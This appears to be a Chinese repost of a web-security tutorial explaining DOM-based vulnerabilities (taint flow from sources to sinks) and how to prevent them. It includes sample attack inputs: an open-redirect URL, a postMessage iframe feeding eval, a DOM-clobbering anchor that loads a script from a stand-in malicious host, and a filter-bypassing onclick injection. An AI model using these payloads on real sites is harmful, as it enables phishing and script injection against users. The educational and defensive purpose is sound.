【Academy】DOM-based vulnerabilities 基于DOM的漏洞

基于DOM的漏洞

  • 1.基于DOM的漏洞
  • 2.什么是DOM?
  • 3.污染流漏洞
    • 3.1什么是污染流?
      • 接收器
    • 3.2常见源
  • 4.哪些接收器会导致基于DOM的漏洞?
    • 基于DOM的开放重定向
    • 基于DOM的cookie操作
    • 基于DOM的JavaScript注入
    • 基于DOM的文档域操作
    • 基于DOM的WebSocket-URL中毒
    • 基于DOM的链接操作
    • 基于DOM的Web消息处理
    • 基于DOM的Ajax请求头操作
    • 基于DOM的本地文件路径操作
    • 基于DOM的客户端SQL注入
    • 基于DOM的HTML5存储操作
    • 基于DOM的客户端XPath注入
    • 基于DOM的客户端JSON注入
    • 基于DOM的数据操作
    • 基于DOM的拒绝服务
    • 基于DOM的控制Web消息源
    • 基于DOM的DOM-clobbering
  • 5.如何防止基于DOM的污染流漏洞

1.基于DOM的漏洞

在本文中,将描述DOM是什么,解释DOM数据的不安全处理如何引入漏洞,并建议如何防止网站上基于DOM的漏洞。

2.什么是DOM?

文档对象模型(DOM)是网页上元素的Web浏览器分层表示。网站可以使用JavaScript来操作DOM的节点和对象,以及它们的属性。DOM操作本身不是问题。事实上,它是现代网站工作方式的一个组成部分。但是,不安全地处理数据的JavaScript可能会导致各种攻击。当网站包含JavaScript时,就会出现基于DOM的漏洞,该JavaScript接受攻击者可控制的值(称为源source),并将其传递到危险的函数(称为接收器sink)。

3.污染流漏洞

许多基于DOM的漏洞可以追溯到客户端代码操纵攻击者可控数据的方式。

3.1什么是污染流?

要利用或缓解这些漏洞,首先熟悉源和汇之间的污染流的基础知识是很重要的。

源是一个JavaScript属性,它接受可能受攻击者控制的数据。源的一个例子是location.search属性,因为它从查询字符串中读取输入,这对于攻击者来说相对容易控制。最终,任何可以被攻击者控制的属性都是潜在的源。这包括引用URL(由document.referrer字符串公开)、用户的cookie(由document.cookie字符串公开)和Web消息。

接收器

接收器是一种潜在危险的JavaScript函数或DOM对象,如果向其传递攻击者控制的数据,则可能导致不良影响。例如,eval()函数是接收器,因为它将传递给它的参数作为JavaScript处理。HTML接收器的一个示例是document.body.innerHTML,因为它可能允许攻击者注入恶意HTML并执行任意JavaScript。

从根本上说,当网站将数据从源传递到接收器时,就会出现基于DOM的漏洞,然后在客户端会话的上下文中以不安全的方式处理数据。

最常见的源是URL,通常使用location对象访问。攻击者可以构造一个链接,将受害者发送到一个易受攻击的页面,该页面在URL的查询字符串和片段部分中具有有效负载。下面是一个例子:

goto = location.hash.slice(1)
if (goto.startsWith('https:')) {
  location = goto;
}

这很容易受到基于DOM的开放重定向的攻击,因为location.hash源代码是以不安全的方式处理的。如果URL包含以https:开头的哈希片段,则此代码提取location.hash属性的值并将其设置为windowlocation属性。攻击者可以通过构造以下URL来攻击此漏洞:

https://www.innocent-website.com/example#https://www.evil-user.net

当受害者访问此URL时,JavaScript将location属性的值设置为https://www.evil-user.net,这会自动将受害者重定向到恶意站点。例如,这种行为很容易被利用来构建网络钓鱼攻击。

3.2常见源

以下是可用于利用各种污染流漏洞的典型源:

document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB (mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database

以下类型的数据也可以用作利用污染流漏洞的来源:
Reflected data反射数据
Stored data存储的数据
Web messages的Web消息

4.哪些接收器会导致基于DOM的漏洞?

以下列表提供了常见的基于DOM的漏洞的概述,以及可能导致每个漏洞的接收器的示例。

基于DOM的开放重定向

什么是基于DOM的开放重定向?

当脚本将攻击者可控制的数据写入可以触发跨域导航的接收器时,就会出现基于DOM的开放重定向漏洞。例如,以下代码由于处理location.hash属性的不安全方式而容易受到攻击:

let url = /https?:\/\/.+/.exec(location.hash);
if (url) {
  location = url[0];
}

攻击者可以利用此漏洞构造一个URL,如果该URL被其他用户访问,将导致重定向到任意外部域。
基于DOM的开放重定向有什么影响?

例如,可以利用这种行为来促进针对网站用户的网络钓鱼攻击。使用针对正确域的真实应用程序URL并使用有效的TLS证书(如果使用TLS)的能力为钓鱼攻击提供了可信度,因为许多用户即使验证了这些功能,也不会注意到随后重定向到不同的域。

如果攻击者能够控制传递到重定向API的字符串的开头,则可能将此漏洞升级为JavaScript注入攻击。攻击者可以使用javascript:伪协议构造URL,以便在浏览器处理URL时执行任意代码。

哪些接收器会导致基于DOM的开放重定向漏洞?

以下是一些可能导致基于DOM的开放重定向漏洞的主要汇点:

location
location.host
location.hostname
location.href
location.pathname
location.search
location.protocol
location.assign()
location.replace()
open()
element.srcdoc
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.ajax()
$.ajax()

如何防止基于DOM的开放重定向漏洞

除了DOM漏洞主题中描述的一般措施外,还应避免使用源自任何不受信任来源的数据动态设置重定向目标。

基于DOM的cookie操作

什么是基于DOM的cookie操作?

一些基于DOM的漏洞允许攻击者操纵他们通常无法控制的数据。这将通常安全的数据类型(如Cookie)转换为潜在的源。当脚本将攻击者可控制的数据写入cookie值时,就会出现基于DOM的cookie操作漏洞。

攻击者可以利用此漏洞构造一个URL,如果其他用户访问该URL,则会在用户的Cookie中设置任意值。许多接收器本身基本上是无害的,但基于DOM的cookie操纵攻击表明,低严重性漏洞有时可以用作高严重性攻击的利用链的一部分。例如,如果JavaScript将数据从源写入document.cookie,而不首先对其进行清理,则攻击者可以操纵单个cookie的值以注入任意值:

document.cookie = 'cookieName='+location.hash.slice(1);

如果网站不安全地反映未经HTML编码的cookie中的值,攻击者可以使用cookie操作技术来利用此行为。

基于DOM的Cookie操纵攻击的影响是什么?

此漏洞的潜在影响取决于Cookie在网站中所扮演的角色。如果cookie用于控制某些用户操作(例如,生产模式与演示模式设置)导致的行为,则攻击者可能能够通过操纵cookie的值使用户执行非预期的操作。

如果cookie用于跟踪用户的会话,则攻击者可能能够执行会话固定攻击,其中他们将cookie的值设置为他们从网站获得的有效令牌,然后在受害者随后与网站交互期间劫持会话。像这样的cookie操作漏洞不仅可以用于攻击易受攻击的网站,还可以用于攻击同一父域下的任何其他网站。
哪些接收器会导致基于DOM的cookie操作漏洞?

document.cookie接收器可能导致基于DOM的cookie操作漏洞。

如何防止基于DOM的Cookie操作漏洞

除了基于DOM的漏洞页面上描述的一般措施外,您还应避免使用源自任何不受信任来源的数据动态写入Cookie。

基于DOM的JavaScript注入

什么是基于DOM的JavaScript注入?

当脚本将攻击者可控制的数据作为JavaScript执行时,就会出现基于DOM的JavaScript注入漏洞。攻击者可以利用此漏洞构造URL,如果其他用户访问该URL,将导致攻击者提供的任意JavaScript在用户的浏览器会话上下文中执行。

可以通过各种方式诱导用户访问攻击者的恶意URL,类似于反射跨站点脚本漏洞的常见攻击交付向量。有关更多信息,请参阅相关DOM XSS.
基于DOM的JavaScript注入攻击有什么影响?

攻击者提供的代码可以执行各种各样的操作,例如窃取受害者的会话令牌或登录凭据,代表受害者执行任意操作,甚至记录他们的键盘输入。
哪些接收器会导致基于DOM的JavaScript注入漏洞?

以下是可能导致基于DOM的JavaScript注入漏洞的一些主要接收器:

eval()
Function()
setTimeout()
setInterval()
setImmediate()
execCommand()
execScript()
msSetImmediate()
range.createContextualFragment()
crypto.generateCRMFRequest()

基于DOM的文档域操作

什么是基于DOM的文档域操作?

当脚本使用攻击者可控制的数据来设置document.domain属性时,就会出现文档域操纵漏洞。攻击者可以利用此漏洞构造一个URL,如果其他用户访问该URL,将导致响应页面设置任意的document.domain值。

document.domain属性被浏览器用于执行同源策略。如果来自不同来源的两个页面显式地设置了相同的document.domain值,那么这两个页面可以以不受限制的方式进行交互。如果攻击者可以使目标网站的一个页面和他们控制的另一个页面(直接或通过类似XSS的漏洞)设置相同的document.domain值,那么攻击者就可以通过他们已经控制的页面完全破坏目标页面。这与常规的跨站点脚本(XSS)漏洞一样,也有可能被利用。

浏览器通常会对可以分配给document.domain的值进行一些限制,并可能会阻止使用与页面实际来源完全不同的值。然而,有两个重要的警告。首先,浏览器允许使用子域或父域,因此攻击者可能能够将目标页面的域切换到安全性较弱的相关网站的域。其次,一些浏览器的怪癖可以切换到完全无关的域。这些警告意味着,操纵页面的document.domain属性的能力通常代表着一个安全漏洞,其严重性与常规XSS相差不远。
哪些接收器会导致基于DOM的文档域操作漏洞?

document.domain接收器可能导致基于DOM的文档域操作漏洞。

基于DOM的WebSocket-URL中毒

什么是基于DOM的WebSocket-URL中毒?

当脚本使用可控数据作为WebSocket连接的目标URL时,会发生WebSocket-URL中毒。攻击者可以利用此漏洞构造一个URL,如果另一用户访问该URL,将导致用户的浏览器打开一个与攻击者控制的URL的WebSocket连接。
WebSocket-URL中毒有什么影响?

WebSocket-URL中毒的潜在影响取决于网站如何使用WebSocket。如果网站将敏感数据从用户的浏览器传输到WebSocket服务器,则攻击者可能能够捕获此数据。

如果应用程序从WebSocket服务器读取数据并以某种方式对其进行处理,攻击者可能能够破坏网站的逻辑或对用户进行客户端攻击。
哪些接收器会导致WebSocket-URL中毒漏洞?

WebSocket构造函数可能导致WebSocket-URL中毒漏洞。

基于DOM的链接操作

什么是基于DOM的链接操作?

当脚本将攻击者可控制的数据写入当前页面内的导航目标(如可单击的链接或表单的提交URL)时,就会出现基于DOM的链接操纵漏洞。攻击者可能能够利用此漏洞构造一个URL,如果其他应用程序用户访问该URL,则会修改响应中链接的目标。
基于DOM的链接操纵攻击的影响是什么?

攻击者可以利用此漏洞执行各种攻击,包括:

  • 导致用户被重定向到任意外部URL,这可能有助于网络钓鱼攻击。
  • 导致用户将敏感的表单数据提交到攻击者控制的服务器。
  • 更改与链接关联的文件或查询字符串,导致用户在应用程序中执行意外操作。
  • 通过注入包含XSS漏洞的网站链接来破坏浏览器反XSS防御。这是因为反XSS防御通常不考虑网站上的链接。

哪些接收器会导致基于DOM的链接操纵漏洞?

以下是一些可能导致基于DOM的链接操作漏洞的主要汇点:

element.href
element.src
element.action

基于DOM的Web消息处理

什么是基于DOM的Web消息处理?

当脚本将攻击者可控制的数据作为Web消息发送到浏览器中的另一个文档时,就会出现Web消息处理漏洞。攻击者可以通过构建网页来使用Web消息数据作为源,如果用户访问该网页,则该网页将导致用户的浏览器发送包含受攻击者控制的数据的Web消息。
哪些接收器会导致基于DOM的Web消息操作漏洞?

如果用于接收消息的事件侦听器以不安全的方式处理传入数据,则用于发送Web消息的postMessage()方法可能导致漏洞。

基于DOM的Ajax请求头操作

什么是基于DOM的Ajax请求头操作?

使用Ajax使网站能够向服务器发出异步请求,以便Web应用程序可以动态更改页面上的内容,而无需重新加载整个页面。但是,当脚本将攻击者可控制的数据写入使用XmlHttpRequest对象发出的Ajax请求的请求头时,就会出现Ajax请求头操作漏洞。攻击者可以利用此漏洞构造一个URL,如果其他用户访问该URL,则会在随后的Ajax请求中设置任意标头。然后,这可以用作将其他类型的攻击链接在一起的起点,从而增加此漏洞的潜在严重性。
基于DOM的Ajax请求头操作的影响是什么?

此漏洞的潜在影响取决于特定HTTP标头在服务器端处理Ajax请求中的作用。如果头用于控制Ajax请求产生的行为,则攻击者可能能够通过操纵头使用户执行非预期的操作。影响还取决于攻击者能够注入到头中的确切内容。
哪些接收器会导致基于DOM的Ajax请求头操作漏洞?

以下是一些可能导致基于DOM的Ajax请求头漏洞的主要接收器:

XMLHttpRequest.setRequestHeader()
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.globalEval()
$.globalEval()

基于DOM的本地文件路径操作

什么是基于DOM的本地文件路径操作?

当脚本将攻击者可控制的数据作为filename参数传递给文件处理API时,就会出现本地文件路径操作漏洞。攻击者可以利用此漏洞构造一个URL,如果其他用户访问该URL,将导致用户的浏览器打开任意本地文件。
基于DOM的本地文件路径操作有什么影响?

此漏洞的潜在影响取决于网站如何使用打开的文件:

  • 如果网站从文件中读取数据,攻击者可能能够检索此数据。
  • 如果网站将特定数据写入敏感文件,攻击者也可以将自己的数据写入文件,例如操作系统的配置文件。

在这两种情况下,潜在漏洞的实际利用可能取决于网站上提供的其他适当功能。
哪些接收器会导致基于DOM的本地文件路径操作漏洞?

以下是一些可能导致基于DOM的本地文件路径操纵漏洞的主要接收器:

FileReader.readAsArrayBuffer()
FileReader.readAsBinaryString()
FileReader.readAsDataURL()
FileReader.readAsText()
FileReader.readAsFile()
FileReader.root.getFile()

基于DOM的客户端SQL注入

什么是基于DOM的客户端SQL注入?

当脚本以不安全的方式将攻击者可控制的数据合并到客户端SQL查询中时,就会出现客户端SQL注入漏洞。攻击者可以利用此漏洞构造一个URL,如果其他用户访问该URL,则会在用户浏览器的本地SQL数据库中执行任意SQL查询。
基于DOM的客户端SQL注入有什么影响?

该漏洞的潜在影响取决于网站对SQL数据库的使用情况。如果数据库用于存储敏感数据,例如社交网络上的消息,则攻击者可能能够检索此数据。

如果数据库用于存储挂起的用户操作(例如电子邮件应用程序中的传出消息),则攻击者可能能够修改此数据并代表用户执行任意操作。
哪些接收器会导致基于DOM的客户端SQL注入漏洞?

JavaScript数据库函数executeSql()可导致客户端SQL注入漏洞。
如何防止基于DOM的客户端SQL注入漏洞

除了基于DOM的漏洞页面上描述的一般措施外,您还应该确保对所有数据库访问使用参数化查询(也称为预处理语句)。此方法使用两个步骤来安全地将可能受污染的数据合并到SQL查询中:

  • 应用程序指定查询的结构,为每个用户输入项保留占位符。
  • 应用程序指定每个占位符的内容。由于在第一步中已经定义了查询的结构,因此第二步中的格式错误的数据不可能干扰查询结构。

在JavaScript executeSql() API中,可以使用查询字符?在查询字符串内指定参数化项。对于每个参数化项,将向包含该项值的API传递一个附加参数。为了防止疏忽发生,并避免应用程序代码库中其他地方的更改引入漏洞,强烈建议您对合并到数据库查询中的每个变量数据项进行参数化,即使它没有明显的污染。

基于DOM的HTML5存储操作

什么是基于DOM的HTML5存储操作?

当脚本在Web浏览器的HTML5存储中存储攻击者可控制的数据时,就会出现HTML5存储操作漏洞(localStoragesessionStorage)。攻击者可以使用此行为构造一个URL,如果另一个用户访问该URL,将导致用户的浏览器存储攻击者可控制的数据。

这种行为本身并不构成安全漏洞。但是,如果应用程序稍后从存储中读回数据并以不安全的方式处理数据,则攻击者可能能够利用存储机制来提供其他基于DOM的攻击,例如跨站点脚本和JavaScript注入。
哪些接收器会导致基于DOM的HTML5存储操作漏洞?

以下是可能导致基于DOM的HTML5存储操作漏洞的一些主要接收器:

sessionStorage.setItem()
localStorage.setItem()

基于DOM的客户端XPath注入

什么是基于DOM的XPath注入?

当脚本将攻击者可控制的数据合并到XPath查询中时,就会出现基于DOM的XPath注入漏洞。攻击者可以利用此行为构造一个URL,如果其他应用程序用户访问该URL,则会触发执行任意恶意代码查询,从而导致网站检索和处理不同的数据。
基于DOM的XPath注入有什么影响?

根据使用查询结果的目的,攻击者可能会破坏网站的逻辑或代表用户引起意外的操作。
哪些接收器会导致XPath注入漏洞?

以下是可能导致基于DOM的XPath注入漏洞的一些主要接收器:

document.evaluate()
element.evaluate()

基于DOM的客户端JSON注入

什么是基于DOM的JSON注入?

当脚本将攻击者可控制的数据合并到字符串中时,就会出现基于DOM的JSON注入漏洞,该字符串被解析为JSON数据结构,然后由应用程序处理。攻击者可以使用此行为构造一个URL,如果其他用户访问该URL,将导致处理任意JSON数据。
基于DOM的JSON注入攻击有什么影响?

根据使用这些数据的目的,攻击者可能会破坏网站的逻辑,或代表另一个用户导致意外的操作。
哪些汇点会导致基于DOM的JSON注入漏洞?

JSON.parse()
jQuery.parseJSON()
$.parseJSON()

基于DOM的数据操作

什么是DOM数据操作?

当脚本将攻击者可控制的数据写入DOM中的字段(用于可见UI或客户端逻辑)时,就会出现DOM数据操作漏洞。攻击者可以利用此漏洞构造URL,如果其他用户访问该URL,则会修改客户端UI的外观或行为。DOM数据操纵漏洞可以被反射和存储的基于DOM的攻击利用。
DOM数据操作的影响是什么?

在规模较小的一端,攻击者可能能够利用此漏洞对网站执行虚拟污损,例如更改特定页面上显示的文本或图像。然而,攻击可能更严重。例如,如果攻击者能够更改元素的src属性,则可能会通过导入恶意JavaScript文件来诱使用户执行非预期操作。
哪些接收器会导致DOM数据操作漏洞?

以下是可能导致DOM数据操纵漏洞的一些主要汇:

script.src
script.text
script.textContent
script.innerText
element.setAttribute()
element.search
element.text
element.textContent
element.innerText
element.outerText
element.value
element.name
element.target
element.method
element.type
element.backgroundImage
element.cssText
element.codebase
document.title
document.implementation.createHTMLDocument()
history.pushState()
history.replaceState()

如何防止DOM数据操作漏洞

除了基于DOM的漏洞页面上描述的一般措施外,还应避免将来自任何不受信任的源的数据动态写入DOM数据字段。应检查相关代码和执行路径,以确定此漏洞是否确实存在,或者是否已采取缓解措施来防止攻击。

基于DOM的拒绝服务

什么是基于DOM的拒绝服务?

当脚本以不安全的方式将攻击者可控制的数据传递到有问题的平台API(例如,调用可导致用户计算机占用过多CPU或磁盘空间的API)时,就会出现基于DOM的拒绝服务漏洞。如果浏览器限制了网站的功能,例如,通过拒绝在localStorage中存储数据或杀死忙碌脚本的尝试,这可能会导致副作用。
哪些接收器会导致基于DOM的拒绝服务漏洞?

以下是可能导致基于DOM的拒绝服务漏洞的一些主要汇点:

requestFileSystem()
RegExp()

基于DOM的控制Web消息源

如果页面以不安全的方式处理传入的Web消息(例如,未在事件侦听器中正确验证传入消息的来源),则事件侦听器调用的属性和函数可能会成为接收器。例如,攻击者可以托管恶意的iframe并使用postMessage()方法将Web消息数据传递给易受攻击的事件侦听器,然后将有效负载发送到父页面上的接收器。此行为意味着您可以使用Web消息作为将恶意数据传播到任何这些接收器的源。
基于DOM的Web消息漏洞有什么影响?

该漏洞的潜在影响取决于目标文档对传入消息的处理。例如,如果目标文档信任发送方不会在消息中传输恶意数据,并且通过将数据传递到接收器中以不安全的方式处理数据,则两个文档的联合行为可能允许攻击者危害用户。
如何使用Web消息作为攻击源

下面是一个例子:

<script>
window.addEventListener('message', function(e) {
  eval(e.data);
});
</script>

这是脆弱的,因为攻击者可以通过构造以下iframe注入JavaScript有效负载:

<iframe src="//vulnerable-website" onload="this.contentWindow.postMessage('print()','*')">

由于事件侦听器不验证消息的来源,并且postMessage()方法指定了targetOrigin "*",因此事件侦听器接受有效负载并将其传递到接收器,在本例中为eval()函数。

源验证

即使事件侦听器确实包含某种形式的来源验证,这个验证步骤有时也可能存在根本性的缺陷。例如,考虑以下代码:

window.addEventListener('message', function(e) {
    if (e.origin.indexOf('normal-website.com') > -1) {
        eval(e.data);
    }
});

indexOf方法用于尝试和验证传入消息的来源是normal-website.com域。然而,实际上,它只检查字符串"normal-website.com"是否包含在源URL中的任何位置。因此,如果恶意消息的来源是http://www.normal-website.com.evil.net,则攻击者可以轻松绕过此验证步骤。

同样的缺陷也适用于依赖于startsWith()endsWith()方法的验证检查。例如,下面的事件侦听器会将源http://www.malicious-websitenormal-website.com视为安全:

window.addEventListener('message', function(e) {
    if (e.origin.endsWith('normal-website.com')) {
        eval(e.data);
    }
});

哪些接收器会导致基于DOM的Web消息漏洞?

只要网站由于缺乏足够的来源验证而接受来自不受信任来源的Web消息数据,传入消息事件侦听器使用的任何接收器都可能导致漏洞。

基于DOM的DOM-clobbering

什么是DOM Clobbering?

DOM clobbering是一种将HTML注入页面以操纵DOM并最终改变页面上JavaScript的行为的技术。DOM clobbering在不可能使用XSS,但是您可以在属性idname被HTML过滤器列入白名单的页面上控制一些HTML的情况下特别有用。最常见的DOM clobbering形式使用锚元素覆盖全局变量,然后应用程序以不安全的方式使用该变量,例如生成动态脚本URL。

术语clobbering来自这样一个事实,即你正在“clobbering”一个对象的全局变量或属性,并将其替换为DOM节点或HTML集合。例如,您可以使用DOM对象覆盖其他JavaScript对象,并利用不安全的名称(如submit)来干扰表单的实际submit()功能。
如何利用DOM-clobbering漏洞

JavaScript开发人员使用的一个常见模式是:

var someObject = window.someObject || {};

如果您可以控制页面上的某些HTML,那么可以使用DOM节点(例如锚)来清除someObject引用。下面是一个例子:

<script>
    window.onload = function(){
        let someObject = window.someObject || {};
        let script = document.createElement('script');
        script.src = someObject.url;
        document.body.appendChild(script);
    };
</script>

要利用此易受攻击的代码,您可以注入以下HTML,以使用锚元素破坏someObject引用:

<a id=someObject><a id=someObject name=url href=//malicious-website.com/evil.js>

由于这两个锚点使用相同的ID,因此DOM将它们分组在一个DOM集合中。然后,DOM clobbering向量用这个DOM集合覆盖someObject引用。在最后一个锚元素上使用了name属性,以消除指向外部脚本的someObject对象的url属性。

另一种常见的技术是将form元素沿着与input元素一起使用,以破坏DOM属性。例如,删除attributes属性使您能够绕过在其逻辑中使用该属性的客户端筛选器。虽然过滤器将枚举attributes属性,但它实际上不会删除任何属性,因为该属性已被DOM节点破坏。因此,您将能够注入通常会被过滤掉的恶意属性。例如,考虑以下注入:

<form onclick=alert(1)><input id=attributes>Click me

在这种情况下,客户端过滤器将遍历DOM并遇到白名单中的form元素。通常,过滤器将循环遍历表单元素的属性,并删除任何列入黑名单的属性。但是,由于属性已经被input元素破坏,因此过滤器将循环遍历input元素。由于input元素具有未定义的长度,因此不满足过滤器的for循环(例如i<element.attributes.length)的条件,并且过滤器简单地移动到下一个元素。这导致过滤器完全忽略onclick事件,从而允许在浏览器中调用alert()函数。

如何防止DOM clobbering攻击

用最简单的话来说,您可以通过实现检查来防止DOM破坏攻击,以确保对象或函数符合您的预期。例如,您可以检查DOM节点的attributes属性是否实际上是NamedNodeMap的实例。这确保了属性是一个attributes属性,而不是一个被破坏的HTML元素。

您还应该避免编写引用全局变量和逻辑OR运算符||的代码,因为这可能导致DOM漏洞。

总结如下:

  • 检查对象和函数是否合法。如果您正在过滤DOM,请确保检查对象或函数不是DOM节点。
  • 避免坏的代码模式。应避免将全局变量与逻辑OR运算符结合使用。
  • 使用经过良好测试的库,如DOMPurify,它可以解决DOM-clobbering 漏洞。

5.如何防止基于DOM的污染流漏洞

没有任何单一的措施可以完全消除基于DOM的攻击的威胁。然而,一般来说,避免基于DOM的漏洞的最有效方法是避免允许来自任何不受信任的源的数据动态地更改传输到任何接收器的值。

如果应用程序所需的功能意味着这种行为是不可避免的,那么必须在客户端代码中实现防御。在许多情况下,相关数据可以在白名单的基础上进行验证,只允许已知安全的内容。在其他情况下,有必要对数据进行清理或编码。这可能是一项复杂的任务,并且根据要插入数据的上下文,可能涉及按适当顺序组合的JavaScript转义、HTML编码和URL编码。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/782932.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

网安加·百家讲坛 | 马云卓:漏洞扫描工具漏洞报告对比

作者简介&#xff1a;马云卓&#xff0c;某安全公司安全专家&#xff0c;持有注册信息安全专业人员及渗透测试工程师&#xff08;CISP-PTE&#xff09;和项目管理专业人士&#xff08;PMP&#xff09;证书&#xff0c;拥有丰富的行业经验&#xff0c;长期专注于网络安全攻防技术…

用SOLIDWORKS批量打印工程图纸,没有难度

在工程师完成产品设计后&#xff0c;一般需要打印纸质工程图&#xff0c;如果打印的数量比较多&#xff0c;效率就会比较低&#xff0c;其实SOLIDWORKS软件提供了专用工具用来处理工作量比较大且重复性的工作&#xff0c;这个工具就是SOLIDWORKS Task Scheduler。 SOLIDWORKS T…

css实现鼠标禁用(鼠标滑过显示红色禁止符号)

css实现鼠标禁用&#xff08;鼠标滑过显示红色禁止符号&#xff09; 创作背景css鼠标禁用 创作背景 从本文开始&#xff0c;将会用三篇文章来一步一步实现 vueantdts实战后台管理系统中table表格的不可控操作。中间会补充两篇css知识文章 &#xff0c;方便后续功能的实现。 实…

面向对象编程:定义、特点、应用场景、优缺点及示例代码

目录 前言1. 面向对象编程的定义2. 面向对象编程的特点2.1 封装2.2 继承2.3 多态2.4 抽象 3. 面向对象编程的应用场景3.1 大型软件系统3.2 GUI应用程序3.3 游戏开发 4. 面向对象编程的优缺点4.1 优点4.2 缺点 5. 代表性的编程语言5.1 Java5.2 C5.3 Python 6. 示例代码结语 前言…

【爱上C++】vector用法详解

文章目录 一:vector简介二:vector的创建和初始化三:vector的遍历1.[]下标2.at()3.迭代器遍历4.范围for 四:vector的空间1.size2.max_size3.capacity4.reserve5.resize6.empty 五:vector的增删查改1.push_back2.pop_back3.find4.insert5.erase6.swap7.assign Hello~同学们好&…

ESP32CAM物联网教学10

ESP32CAM物联网教学10 MicroPython 应用体验 小智偶然地发现&#xff0c;有一种新兴的编程模式MicroPython&#xff0c;也能编写ESP32Cam的应用程序了&#xff0c;于是欣然地体验了一把。 编程环境搭建 小智偶然地从下面这家店铺买了一块ESP32Cam&#xff0c;并从客服那里得到…

【人工智能】-- 智能家居

个人主页&#xff1a;欢迎来到 Papicatch的博客 课设专栏 &#xff1a;学生成绩管理系统 专业知识专栏&#xff1a; 专业知识 文章目录 &#x1f349;引言 &#x1f349;基于深度卷积神经网络的表情识别 &#x1f348;流程图 &#x1f348;模型设计 &#x1f34d;网络架…

复旦微JFMVU3P-2FFVC1517 FPGA+AI全国产化人工智能数据处理平台,适用于雷达与中频信号采集、视频图像采集

板载FPGA实时处理器&#xff1a;JFMVU3P-2FFVC1517支持1个FMC&#xff08;HPC&#xff09;扩展接口支持2路QSFP光纤接口支持x8 Gen3 PCIE主机接口&#xff0c;系统带宽&#xff1e;5GByte/s支持1个R45自适应千兆以太网口支持1个GPIO/RS422接口 基于复旦微16nm工艺JFM9VU3P FPG…

【Linux】记录一起网站劫持事件

故事很短&#xff0c;处理也简单。权当记录一下&#xff0c;各位安全大大们手下留情。 最近一位客户遇到官网被劫持的情况&#xff0c;想我们帮忙解决一下&#xff08;本来不关我们的事&#xff0c;毕竟情面在这…还是无偿地协助一下&#xff09;&#xff0c;经过三四轮“谦让…

Java-SpringBoot启动报端口被占用,如何找到占用端口的进程并杀掉

背景 当我们本地启动多个项目&#xff0c;可能会出现端口被占用的情况&#xff0c;当然有时候可能idea窗口关闭&#xff0c;但是进程并没有kill掉&#xff0c;导致再次启动项目时也会报端口被占用的错误。 通常的做法是打开任务管理器&#xff0c;然后kill掉对应的进程。 首先…

“除了C盘都不见了“:现象解析、恢复策略与预防之道

现象概述&#xff1a;非系统盘突然消失之谜 在日常的计算机使用中&#xff0c;不少用户可能遭遇过一个令人措手不及的问题——“除了C盘都不见了”。这一现象发生时&#xff0c;用户惊讶地发现除了作为系统盘的C盘外&#xff0c;原本存放着各类文档、图片、视频等个人资料的D盘…

在一行中实现每个盒子间隔相等

达成效果&#xff1a; 1. 使用justify-content: space-evenly; <!DOCTYPE html> <html lang"zh-cn"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"…

Nginx Lua Waf 插件一键部署

文章目录 一、场景说明二、脚本职责三、参数说明四、操作示例五、注意事项 一、场景说明 本自动化脚本旨在为提高研发、测试、运维快速部署应用环境而编写。 脚本遵循拿来即用的原则快速完成 CentOS 系统各应用环境部署工作。 统一研发、测试、生产环境的部署模式、部署结构、…

直播平台集成美颜工具详解:视频美颜SDK开发指南

本篇文章&#xff0c;小编将详细介绍如何在直播平台中集成美颜工具&#xff0c;帮助开发者更好地理解视频美颜SDK的开发过程。 一、美颜工具的作用和原理 1.1 美颜工具的作用 美颜工具主要用于提升直播视频的画面质量&#xff0c;让主播和观众在镜头前看起来更加美观。这些功…

哈喽GPT-4o,程序员如何通过GPT-4o提高工作效率

目录 一、编写代码Prompt&#xff1a;请用Java语言编写一个二分查找的样例 二、修正代码错误、代码优化Prompt&#xff1a;我们上传一张华为OD算法题的题目描述&#xff0c;再给它我的Java解题代码&#xff0c;问问它有什么问题&#xff1f; 三、解读代码功能、代码翻译Prompt&…

【Arduino】XIAOFEIYU(TM)实验ESP32使用霍尔传感器(图文)

霍尔传感器是一种可以测量磁力变化的传感器&#xff0c;今天XIAOFEIYU就来测试一下ESP32使用霍尔传感器。 霍尔传感器&#xff1a;正负极加一个数据接口。 将传感器与ESP32进行电路连接&#xff1a; 编写程序&#xff1a; #define SIGNAL_PIN 33int value 0; // 存储传感…

51单片机-第一节-LED和独立按键

一、点亮LED&#xff1a; 首先包含头文件 <REGX52.H> 随后令P2为0xFE。(此时二进制对应1111 1110&#xff0c;为0 的LED亮&#xff0c;故八个灯中的最后一个亮起)。 注&#xff1a;P2为控制LED的8位寄存器。 void main() {P2 0xFE;//1111 1110while(1){} } 二、L…

《算法笔记》总结No.3——排序

基础算法之一&#xff0c;相当重要。在普通的机试中如果没有数据类型和时空限制&#xff0c;基本上选择自己最熟悉的就好。本篇只总结选择排序和插入排序&#xff0c;侧重应用&#xff0c;408中要求的种类更加繁多&#xff0c;此处先不扩展难度~总结最常用的两种排序。 一.选择…

腾讯课堂即将停止服务?来试试这款开源的知识付费系统

项目介绍 本系统基于ThinkPhp5.0layuiVue开发,功能包含在线直播、付费视频、付费音频、付费阅读、会员系统、分销系统、拼团活动、直播带货、直播打赏、商城系统等。能够快速积累客户、会员数据分析、智能转化客户、有效提高销售、吸引流量、网络营销、品牌推广的一款应用&…

javaIO流(2)

一.字符流 字符流对数据的操作是以一个个字符为单位的,字符流只能读文本文件,并将读到的字节按照编码表转为对应的字符,Reader和Writer是字符流的两个最大的抽象类,InputStreamReader和OutputStreamWriter分别继承了Reader和Writer,它俩的功能就是将读取到的字节转换为字符,所…